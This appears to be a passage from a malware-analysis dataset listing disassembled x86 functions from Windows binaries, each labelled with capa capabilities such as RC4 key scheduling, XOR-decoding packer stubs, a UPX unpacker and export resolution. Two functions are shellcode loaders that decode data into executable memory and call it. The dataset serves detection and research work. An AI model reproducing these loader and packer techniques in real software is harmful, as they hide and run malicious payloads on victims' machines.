joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101776a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x1026a1cc], 0
mov byte [0x1026a1d0], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x1026a1c0], 0x719
mov dword [0x1026a1c8], 0
mov dword [ebp - 0x1c], eax
jmp 0x101776f3
mov dword [0x1026a1c8], 0
jmp 0x1017772a
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x1026a1c4]
add eax, 0xfffff13a
mov dword [0x1026a1c0], eax
mov eax, dword [0x1026a1c8]
add eax, 1
mov dword [0x1026a1c8], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101776f3
jmp 0x101776e7
mov eax, 0x100
mov dword [0x1026a1d4], 0
mov ecx, dword [0x1026a1cc]
mov edx, dword [0x1026a1c8]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + edx]
add edi, ecx
mov dword [ebp - 0x20], eax
mov eax, edx
xor edx, edx
mov ecx, dword [ebp - 0x10]
div ecx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add edi, edx
mov dword [0x1026a1d4], edi
mov dword [0x1026a1c4], 0xde7
mov eax, edi
cdq
mov edi, dword [ebp - 0x20]
idiv edi
mov dword [0x1026a1cc], edx
mov edx, dword [0x1026a1c8]
mov cl, byte [esi + edx]
mov byte [0x1026a1d0], cl
mov edx, dword [0x1026a1c0]
add edx, 0x17b0
mov dword [0x1026a1c0], edx
mov edx, dword [0x1026a1cc]
mov cl, byte [esi + edx]
mov edx, dword [0x1026a1c8]
mov byte [esi + edx], cl
mov dword [0x1026a1c0], 0x20e9
mov cl, byte [0x1026a1d0]
mov edx, dword [0x1026a1cc]
mov byte [esi + edx], cl
mov edx, dword [0x1026a1c8]
add edx, 1
mov dword [0x1026a1c8], edx
cmp edx, 0x100
jl 0x1017772a
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101778a0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [0x1026a1c0], 0x1c02
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx + 0x10]
mov ecx, dword [ecx + 0x3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], ecx
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10177929
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov dx, word [eax + ecx*2 - 0x14]
mov word [ebp - 0x16], dx
mov ax, word [ebp - 0x16]
cmp ax, 0x64
je 0x1017796c
jmp 0x101779a1
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
mov dx, word [eax + ecx*2 - 0x16]
mov word [ebp - 0x18], dx
mov ax, word [ebp - 0x18]
cmp ax, 0x61
je 0x101778d6
jmp 0x101779a1
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jge 0x1017793f
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
jne 0x10177912
mov eax, dword [ebp - 0x20]
mov dword [0x1026a1c0], 0x848
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
jne 0x101779a1
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x101778f4
jmp 0x101779a1
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x101779a1
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x101779a1
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
je 0x101779a8
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x101779a8
mov eax, dword [ebp - 0x24]
add esp, 0x24
pop ebp
ret

Function at 0x431003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43100c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43101e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x40a580
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8000]
push edi
or ebp, 0xffffffff
jmp 0x40a5a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40a5a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40a598
mov eax, 1
add ebx, ebx
jne 0x40a5bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40a5b0
jne 0x40a5cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40a5b0
xor ecx, ecx
sub eax, 3
jb 0x40a5e0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40a652
mov ebp, eax
add ebx, ebx
jne 0x40a5eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40a5f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40a61c
inc ecx
add ebx, ebx
jne 0x40a608
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40a5fd
jne 0x40a619
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40a5fd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40a63c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40a62d
jmp 0x40a59e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40a63c
add edi, ecx
jmp 0x40a59e
pop esi
mov edi, esi
mov ecx, 0x2c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40a65a
cmp byte [edi], 0
jne 0x40a65a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40a65f
lea edi, [esi + 0x8000]
mov eax, dword [edi]
or eax, eax
je 0x40a6ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa03c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40a68c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa040]
or eax, eax
je 0x40a6c8
mov dword [ebx], eax
add ebx, 4
jmp 0x40a6a9
call dword [esi + 0xa048]
mov ebp, dword [esi + 0xa044]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40a702
sub esp, 0xffffff80
jmp 0x40117a
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x5ca60027
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3ec10353
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
mov ecx, 0x58
push esi
push edi
mov esi, 0x402100
lea edi, [ebp - 0x164]
rep movsd dword es:[edi], dword [esi]
push 0x40
push 0x1000
push 0x163
movsw word es:[edi], word [esi]
push 0
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea esi, [ebp - 0x164]
mov ecx, 0x58
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401856
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401895
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401895
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401895
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401895
cmp dword [ecx + 0x74], 0xe
jbe 0x401895
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0xbcfd00], 1
mov dword [0xbcfcfc], 1
mov dword [0xbcfcf8], 1
mov dword [0xbcfcf0], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x5ca014], eax
mov eax, dword [0xbcfd0c]
test eax, eax
je 0x4010b0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0xbcfd20]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0xbcfd08]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x5875c4], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060
Function at 0x409d94
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xdc
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0
je 0x409dbc
cmp dword [ebp - 0x1c], 1
je 0x409f1b
jmp 0x409f16
mov eax, dword [ebp + 0x10]
mov edx, dword [eax]
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
mov esi, dword [eax]
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp + 0xc]
mov edi, dword [eax]
mov dword [ebp - 0x34], edi
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
mov ebx, dword [eax]
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp + 0x1c]
mov edi, dword [eax]
mov dword [ebp - 0x40], edi
mov eax, dword [ebp + 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 8]
mov edi, dword [eax]
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax]
mov dword [esp + 0x90], edx
mov dword [esp + 0x8c], 9
fld qword [0x58fc40]
fstp qword [esp + 0x84]
mov dword [esp + 0x80], 0xf9
fld qword [0x58fc60]
fstp qword [esp + 0x78]
mov dword [esp + 0x74], 2
mov dword [esp + 0x70], ecx
fld qword [0x58fc38]
fstp qword [esp + 0x68]
fld1
fstp qword [esp + 0x60]
mov dword [esp + 0x5c], 3
mov dword [esp + 0x58], esi
mov dword [esp + 0x54], 4
mov dword [esp + 0x50], 1
mov dword [esp + 0x4c], 7
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 0x48], ecx
mov dword [esp + 0x44], 0x44
mov dword [esp + 0x40], 7
mov esi, dword [ebp - 0x30]
mov dword [esp + 0x3c], esi
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x38], edx
mov dword [esp + 0x34], 6
mov ecx, dword [ebp - 0x38]
mov dword [esp + 0x30], ecx
mov dword [esp + 0x2c], 8
mov esi, dword [ebp - 0x3c]
mov dword [esp + 0x28], esi
mov edx, dword [ebp - 0x40]
mov dword [esp + 0x24], edx
mov ecx, dword [ebp - 0x44]
mov dword [esp + 0x20], ecx
mov dword [esp + 0x1c], 3
mov dword [esp + 0x18], edi
fld qword [0x58fc60]
fstp qword [esp + 0x10]
mov dword [esp + 0xc], 6
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._ExportWinAPI
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov dword [ebp - 0x1c], 1
nop
jmp 0x409da7
nop
add esp, 0xdc
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40c087
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
mov dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0
je 0x40c225
cmp dword [ebp - 0xc], 1
je 0x40c0ac
jmp 0x40c220
mov eax, dword [ebp + 0xac]
mov dword [esp + 0xa4], eax
mov eax, dword [ebp + 0xa8]
mov dword [esp + 0xa0], eax
mov eax, dword [ebp + 0xa4]
mov dword [esp + 0x9c], eax
mov eax, dword [ebp + 0xa0]
mov dword [esp + 0x98], eax
mov eax, dword [ebp + 0x9c]
mov dword [esp + 0x94], eax
mov eax, dword [ebp + 0x98]
mov dword [esp + 0x90], eax
mov eax, dword [ebp + 0x94]
mov dword [esp + 0x8c], eax
mov eax, dword [ebp + 0x90]
mov dword [esp + 0x88], eax
mov eax, dword [ebp + 0x8c]
mov dword [esp + 0x84], eax
mov eax, dword [ebp + 0x88]
mov dword [esp + 0x80], eax
mov eax, dword [ebp + 0x84]
mov dword [esp + 0x7c], eax
mov eax, dword [ebp + 0x80]
mov dword [esp + 0x78], eax
mov eax, dword [ebp + 0x7c]
mov dword [esp + 0x74], eax
mov eax, dword [ebp + 0x78]
mov dword [esp + 0x70], eax
mov eax, dword [ebp + 0x74]
mov dword [esp + 0x6c], eax
mov eax, dword [ebp + 0x70]
mov dword [esp + 0x68], eax
mov eax, dword [ebp + 0x6c]
mov dword [esp + 0x64], eax
mov eax, dword [ebp + 0x68]
mov dword [esp + 0x60], eax
mov eax, dword [ebp + 0x64]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp + 0x60]
mov dword [esp + 0x58], eax
mov eax, dword [ebp + 0x5c]
mov dword [esp + 0x54], eax
mov eax, dword [ebp + 0x58]
mov dword [esp + 0x50], eax
mov eax, dword [ebp + 0x54]
mov dword [esp + 0x4c], eax
mov eax, dword [ebp + 0x50]
mov dword [esp + 0x48], eax
mov eax, dword [ebp + 0x4c]
mov dword [esp + 0x44], eax
mov eax, dword [ebp + 0x48]
mov dword [esp + 0x40], eax
mov eax, dword [ebp + 0x44]
mov dword [esp + 0x3c], eax
mov eax, dword [ebp + 0x40]
mov dword [esp + 0x38], eax
mov eax, dword [ebp + 0x3c]
mov dword [esp + 0x34], eax
mov eax, dword [ebp + 0x38]
mov dword [esp + 0x30], eax
mov eax, dword [ebp + 0x34]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp + 0x30]
mov dword [esp + 0x28], eax
mov eax, dword [ebp + 0x2c]
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 0x28]
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 0x24]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 0x20]
mov dword [esp + 0x18], eax
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym.___super_fnc__2870
mov dword [ebp - 0xc], 0
nop
jmp 0x40c097
nop
leave
ret
Function at 0x41795d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xec
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
je 0x417b38
cmp dword [ebp - 0x1c], 2
ja 0x417b32
cmp dword [ebp - 0x1c], 0
je 0x4179b4
cmp dword [ebp - 0x1c], 1
jne 0x417b32
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov dword [esp], eax
call edx
sub esp, 4
mov dword [ebp - 0x1c], 2
jmp 0x417b33
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x20]
mov edi, dword [eax]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x1c]
mov ebx, dword [eax]
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp + 0x20]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x20]
mov ebx, dword [eax]
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp + 0xc]
mov esi, dword [eax]
mov dword [ebp - 0x40], esi
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax]
mov dword [ebp - 0x48], ebx
mov eax, dword [ebp + 0x20]
mov esi, dword [eax]
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp + 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp + 0x20]
mov esi, dword [eax]
mov dword [ebp - 0x58], esi
mov eax, dword [ebp + 0x24]
mov esi, dword [eax]
mov eax, dword [ebp + 0x20]
mov ebx, dword [eax]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [esp + 0x90], edx
mov dword [esp + 0x8c], ecx
fld qword [0x58fc58]
fstp qword [esp + 0x84]
mov dword [esp + 0x80], 0x97
fld qword [0x58fc50]
fstp qword [esp + 0x78]
mov dword [esp + 0x74], edi
mov dword [esp + 0x70], 8
fld qword [0x58fc60]
fstp qword [esp + 0x68]
fld1
fstp qword [esp + 0x60]
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 0x5c], ecx
mov edi, dword [ebp - 0x30]
mov dword [esp + 0x58], edi
mov ecx, dword [ebp - 0x34]
mov dword [esp + 0x54], ecx
mov edi, dword [ebp - 0x38]
mov dword [esp + 0x50], edi
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0x4c], edx
mov dword [esp + 0x48], 4
mov dword [esp + 0x44], 0x34
mov ecx, dword [ebp - 0x40]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x3c], 1
mov edi, dword [ebp - 0x44]
mov dword [esp + 0x38], edi
mov edx, dword [ebp - 0x48]
mov dword [esp + 0x34], edx
mov dword [esp + 0x30], 7
mov ecx, dword [ebp - 0x4c]
mov dword [esp + 0x2c], ecx
mov edi, dword [ebp - 0x50]
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], 9
mov edx, dword [ebp - 0x54]
mov dword [esp + 0x20], edx
mov ecx, dword [ebp - 0x58]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], esi
fld qword [0x58fc40]
fstp qword [esp + 0x10]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 7
mov dword [esp + 4], 3
mov dword [esp], eax
call sym._ExportWinAPI
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov dword [ebp - 0x1c], 1
jmp 0x417b33
nop
jmp 0x417970
nop
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x41cbfe
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xec
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0
je 0x41cc26
cmp dword [ebp - 0x1c], 1
je 0x41cda8
jmp 0x41cda3
mov eax, dword [ebp + 0x14]
mov edx, dword [eax]
mov eax, dword [ebp + 0x24]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x20]
mov edi, dword [eax]
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax]
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp + 0x24]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp + 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x18]
mov ebx, dword [eax]
mov dword [ebp - 0x3c], ebx
mov eax, dword [ebp + 0x10]
mov esi, dword [eax]
mov dword [ebp - 0x40], esi
mov eax, dword [ebp + 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 0x18]
mov ebx, dword [eax]
mov dword [ebp - 0x48], ebx
mov eax, dword [ebp + 0x20]
mov esi, dword [eax]
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 8]
mov ebx, dword [eax]
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp + 0x24]
mov esi, dword [eax]
mov dword [ebp - 0x58], esi
mov eax, dword [ebp + 0xc]
mov esi, dword [eax]
mov eax, dword [ebp + 0x10]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x24]
mov eax, dword [eax]
mov dword [esp + 0x90], edx
mov dword [esp + 0x8c], ecx
fld qword [0x58fc58]
fstp qword [esp + 0x84]
mov dword [esp + 0x80], 0x5e
fld qword [0x58fc40]
fstp qword [esp + 0x78]
mov dword [esp + 0x74], edi
mov dword [esp + 0x70], 9
fld qword [0x58fc60]
fstp qword [esp + 0x68]
fld qword [0x58fc68]
fstp qword [esp + 0x60]
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 0x5c], ecx
mov edi, dword [ebp - 0x30]
mov dword [esp + 0x58], edi
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x54], edx
mov ecx, dword [ebp - 0x38]
mov dword [esp + 0x50], ecx
mov edi, dword [ebp - 0x3c]
mov dword [esp + 0x4c], edi
mov dword [esp + 0x48], 2
mov dword [esp + 0x44], 0x36
mov edx, dword [ebp - 0x40]
mov dword [esp + 0x40], edx
mov dword [esp + 0x3c], 0
mov ecx, dword [ebp - 0x44]
mov dword [esp + 0x38], ecx
mov edi, dword [ebp - 0x48]
mov dword [esp + 0x34], edi
mov dword [esp + 0x30], 1
mov edx, dword [ebp - 0x4c]
mov dword [esp + 0x2c], edx
mov ecx, dword [ebp - 0x50]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], 8
mov edi, dword [ebp - 0x54]
mov dword [esp + 0x20], edi
mov edx, dword [ebp - 0x58]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], esi
fld1
fstp qword [esp + 0x10]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 4
mov dword [esp + 4], 2
mov dword [esp], eax
call sym._ExportWinAPI
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov dword [ebp - 0x1c], 1
nop
jmp 0x41cc11
nop
add esp, 0xec
pop ebx
pop esi
pop edi
pop ebp
ret